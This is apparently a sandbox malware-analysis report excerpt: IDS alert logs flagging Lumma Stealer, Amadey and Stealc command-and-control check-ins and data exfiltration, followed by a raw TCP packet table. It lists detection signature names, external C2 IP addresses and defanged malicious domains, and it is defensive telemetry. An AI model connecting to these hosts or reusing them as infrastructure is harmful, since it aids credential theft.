2024-12-18T15:57:25.803067+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49979	104.21.12.88	443	TCP
2024-12-18T15:57:28.095523+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	49976	172.67.179.109	443	TCP
2024-12-18T15:57:28.797895+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	49979	104.21.12.88	443	TCP
2024-12-18T15:57:28.797895+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49979	104.21.12.88	443	TCP
2024-12-18T15:57:30.015088+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	49988	185.215.113.43	80	TCP
2024-12-18T15:57:30.807513+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	49991	185.215.113.206	80	TCP
2024-12-18T15:57:31.701286+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49992	31.41.244.11	80	TCP
2024-12-18T15:57:33.268942+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49998	104.21.12.88	443	TCP
2024-12-18T15:57:34.040297+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50002	172.67.179.109	443	TCP
2024-12-18T15:57:34.040297+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50002	172.67.179.109	443	TCP
2024-12-18T15:57:34.177818+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	50002	172.67.179.109	443	TCP
2024-12-18T15:57:37.494981+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	50023	185.215.113.43	80	TCP
2024-12-18T15:57:38.764634+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50035	104.21.12.88	443	TCP
2024-12-18T15:57:39.127754+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	50037	31.41.244.11	80	TCP
2024-12-18T15:57:40.263324+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	50040	185.215.113.206	80	TCP
2024-12-18T15:57:40.737368+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.10	61710	1.1.1.1	53	UDP
2024-12-18T15:57:41.147850+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50045	172.67.179.109	443	TCP
2024-12-18T15:57:41.147850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50045	172.67.179.109	443	TCP
2024-12-18T15:57:42.150786+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50048	172.67.179.109	443	TCP
2024-12-18T15:57:42.150786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50048	172.67.179.109	443	TCP
2024-12-18T15:57:43.243772+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50049	104.21.12.88	443	TCP
2024-12-18T15:57:43.755603+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	50048	172.67.179.109	443	TCP
2024-12-18T15:57:43.755603+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50048	172.67.179.109	443	TCP
2024-12-18T15:57:43.939467+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50045	172.67.179.109	443	TCP
2024-12-18T15:57:44.611659+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	50056	185.215.113.43	80	TCP
2024-12-18T15:57:45.041595+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50057	172.67.179.109	443	TCP
2024-12-18T15:57:45.041595+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50057	172.67.179.109	443	TCP
2024-12-18T15:57:45.447963+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.10	50058	185.215.113.16	80	TCP
2024-12-18T15:57:46.116306+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	50061	31.41.244.11	80	TCP
2024-12-18T15:57:46.632676+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50065	104.21.12.88	443	TCP
2024-12-18T15:57:47.178187+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	50057	172.67.179.109	443	TCP
2024-12-18T15:57:47.178187+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50057	172.67.179.109	443	TCP
2024-12-18T15:57:47.951495+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	50065	104.21.12.88	443	TCP
2024-12-18T15:57:49.347814+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50071	172.67.179.109	443	TCP
2024-12-18T15:57:49.347814+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50071	172.67.179.109	443	TCP
2024-12-18T15:57:49.910294+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50072	104.21.23.76	443	TCP
2024-12-18T15:57:50.533130+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50073	104.21.12.88	443	TCP
2024-12-18T15:57:50.540668+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	50073	104.21.12.88	443	TCP
2024-12-18T15:57:50.963918+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	50072	104.21.23.76	443	TCP
2024-12-18T15:57:50.963918+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50072	104.21.23.76	443	TCP
2024-12-18T15:57:51.663685+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50079	172.67.179.109	443	TCP
2024-12-18T15:57:51.663685+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50079	172.67.179.109	443	TCP
2024-12-18T15:57:52.214888+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50080	104.21.23.76	443	TCP
2024-12-18T15:57:52.950988+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	50080	104.21.23.76	443	TCP
2024-12-18T15:57:52.950988+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50080	104.21.23.76	443	TCP
2024-12-18T15:57:54.421842+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50087	104.21.12.88	443	TCP
2024-12-18T15:57:54.425184+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50086	172.67.179.109	443	TCP
2024-12-18T15:57:54.425184+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50086	172.67.179.109	443	TCP
2024-12-18T15:57:55.139008+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50090	104.21.23.76	443	TCP
2024-12-18T15:57:55.154034+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50087	104.21.12.88	443	TCP
2024-12-18T15:57:56.040182+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	50090	104.21.23.76	443	TCP
2024-12-18T15:57:56.873916+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	50094	185.215.113.206	80	TCP
2024-12-18T15:57:57.308070+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50095	104.21.23.76	443	TCP
2024-12-18T15:57:57.413813+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50096	172.67.179.109	443	TCP
2024-12-18T15:57:57.413813+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50096	172.67.179.109	443	TCP
2024-12-18T15:57:58.212175+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	50096	172.67.179.109	443	TCP
2024-12-18T15:57:59.631132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50102	104.21.23.76	443	TCP
2024-12-18T15:58:01.628172+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50107	172.67.179.109	443	TCP
2024-12-18T15:58:01.628172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50107	172.67.179.109	443	TCP
2024-12-18T15:58:01.671372+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	50107	172.67.179.109	443	TCP
2024-12-18T15:58:01.876766+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50110	104.21.23.76	443	TCP
2024-12-18T15:58:07.311005+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50141	172.67.179.109	443	TCP
2024-12-18T15:58:07.311005+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50141	172.67.179.109	443	TCP
2024-12-18T15:58:08.833236+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50142	104.21.23.76	443	TCP
2024-12-18T15:58:11.204142+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50141	172.67.179.109	443	TCP
2024-12-18T15:58:14.833365+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	50142	104.21.23.76	443	TCP
2024-12-18T15:58:16.070605+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50144	104.21.23.76	443	TCP
2024-12-18T15:58:17.313197+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	50145	185.215.113.43	80	TCP
2024-12-18T15:58:18.722137+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50144	104.21.23.76	443	TCP
2024-12-18T15:58:34.173163+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.10	50149	TCP
2024-12-18T15:58:35.536627+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	50161	185.215.113.43	80	TCP
2024-12-18T15:58:40.068466+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.10	64251	1.1.1.1	53	UDP
2024-12-18T15:58:41.499263+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	50163	185.215.113.43	80	TCP
2024-12-18T15:58:41.559504+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50164	172.67.179.109	443	TCP
2024-12-18T15:58:41.559504+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50164	172.67.179.109	443	TCP
2024-12-18T15:58:45.734441+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	50164	172.67.179.109	443	TCP
2024-12-18T15:58:45.734441+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50164	172.67.179.109	443	TCP
2024-12-18T15:58:46.672301+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	50168	185.215.113.206	80	TCP
2024-12-18T15:58:46.798786+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	50169	185.215.113.43	80	TCP
2024-12-18T15:58:47.000456+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50170	172.67.179.109	443	TCP
2024-12-18T15:58:47.000456+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50170	172.67.179.109	443	TCP
2024-12-18T15:58:51.604149+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	50170	172.67.179.109	443	TCP
2024-12-18T15:58:51.604149+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50170	172.67.179.109	443	TCP
2024-12-18T15:58:53.433574+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	50174	185.215.113.43	80	TCP
2024-12-18T15:58:53.891137+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.10	57940	1.1.1.1	53	UDP
2024-12-18T15:58:55.572582+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50177	172.67.179.109	443	TCP
2024-12-18T15:58:55.572582+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50177	172.67.179.109	443	TCP
2024-12-18T15:58:56.255737+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50178	172.67.179.109	443	TCP
2024-12-18T15:58:56.255737+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50178	172.67.179.109	443	TCP
2024-12-18T15:58:58.190094+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	50177	172.67.179.109	443	TCP
2024-12-18T15:58:58.190094+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50177	172.67.179.109	443	TCP
2024-12-18T15:58:59.490779+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50179	172.67.179.109	443	TCP
2024-12-18T15:58:59.490779+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50179	172.67.179.109	443	TCP
2024-12-18T15:58:59.842641+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50182	172.67.179.109	443	TCP
2024-12-18T15:58:59.842641+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50182	172.67.179.109	443	TCP
2024-12-18T15:58:59.998359+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.10	50181	185.215.113.43	80	TCP
2024-12-18T15:59:00.217699+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	50179	172.67.179.109	443	TCP
2024-12-18T15:59:00.217699+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50179	172.67.179.109	443	TCP
2024-12-18T15:59:02.060598+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50183	172.67.179.109	443	TCP
2024-12-18T15:59:02.060598+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50183	172.67.179.109	443	TCP
2024-12-18T15:59:03.621234+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50185	172.67.179.109	443	TCP
2024-12-18T15:59:03.621234+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50185	172.67.179.109	443	TCP
2024-12-18T15:59:04.296104+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50187	172.67.179.109	443	TCP
2024-12-18T15:59:04.296104+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50187	172.67.179.109	443	TCP
2024-12-18T15:59:05.891197+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50188	172.67.179.109	443	TCP
2024-12-18T15:59:05.891197+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50188	172.67.179.109	443	TCP
2024-12-18T15:59:06.095509+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	50187	172.67.179.109	443	TCP
2024-12-18T15:59:07.266979+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	50190	185.215.113.206	80	TCP
2024-12-18T15:59:08.095206+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50192	172.67.179.109	443	TCP
2024-12-18T15:59:08.095206+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50192	172.67.179.109	443	TCP
2024-12-18T15:59:08.247709+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50193	172.67.179.109	443	TCP
2024-12-18T15:59:08.247709+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50193	172.67.179.109	443	TCP
2024-12-18T15:59:08.282526+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	50193	172.67.179.109	443	TCP
2024-12-18T15:59:10.889055+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50205	172.67.179.109	443	TCP
2024-12-18T15:59:10.889055+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50205	172.67.179.109	443	TCP
2024-12-18T15:59:13.029035+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50222	172.67.179.109	443	TCP
2024-12-18T15:59:13.029035+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50222	172.67.179.109	443	TCP
2024-12-18T15:59:14.711987+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	50222	172.67.179.109	443	TCP
2024-12-18T15:59:16.312141+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.10	50231	185.215.113.16	80	TCP
2024-12-18T15:59:19.807532+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.10	50234	172.67.179.109	443	TCP
2024-12-18T15:59:19.807532+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	50234	172.67.179.109	443	TCP
2024-12-18T15:59:25.791263+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	50234	172.67.179.109	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 15:56:05.038492918 CET	49736	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:05.158044100 CET	80	49736	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:05.158149958 CET	49736	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:05.197184086 CET	49736	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:05.317142010 CET	80	49736	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:06.495682001 CET	80	49736	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:06.495764017 CET	49736	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:08.001121998 CET	49736	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:08.001661062 CET	49744	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:08.121491909 CET	80	49736	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:08.121563911 CET	49736	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:08.121628046 CET	80	49744	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:08.121711969 CET	49744	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:08.121943951 CET	49744	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:08.244055033 CET	80	49744	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:09.481765985 CET	80	49744	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:09.481822968 CET	80	49744	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:09.481858015 CET	49744	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:09.481924057 CET	49744	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:09.487413883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:09.611226082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:09.611546040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:09.611690044 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:09.735558987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940046072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940068007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940078974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940119028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:10.940155983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:10.940191031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940197945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940210104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940253019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:10.940406084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940455914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940460920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940479994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:10.940501928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:10.940531015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:10.940562963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.062741041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.062804937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.063008070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.063008070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.066616058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.066696882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.066781044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.066840887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.133505106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.133580923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.133614063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.133644104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.136703014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.136749983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.136985064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.137044907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.145333052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.145409107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.145417929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.145502090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.153990984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.154059887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.154119968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.162661076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.162700891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.162723064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.162744999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.171019077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.171083927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.171089888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.171176910 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.180484056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.180524111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.180588007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.188539028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.188548088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.188612938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.196681976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.196759939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.196810961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.196865082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.205487967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.205558062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.205621004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.205665112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.214181900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.214241028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.214272976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.214315891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.221000910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.221076965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.299856901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.299871922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.299999952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.324959040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.325119972 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.325131893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.325191021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.327135086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.327193975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.327450037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.327522993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.331712961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.331743956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.331835985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.336107016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.336174011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.336210012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.336235046 CET	49749	80	192.168.2.10	31.41.244.11
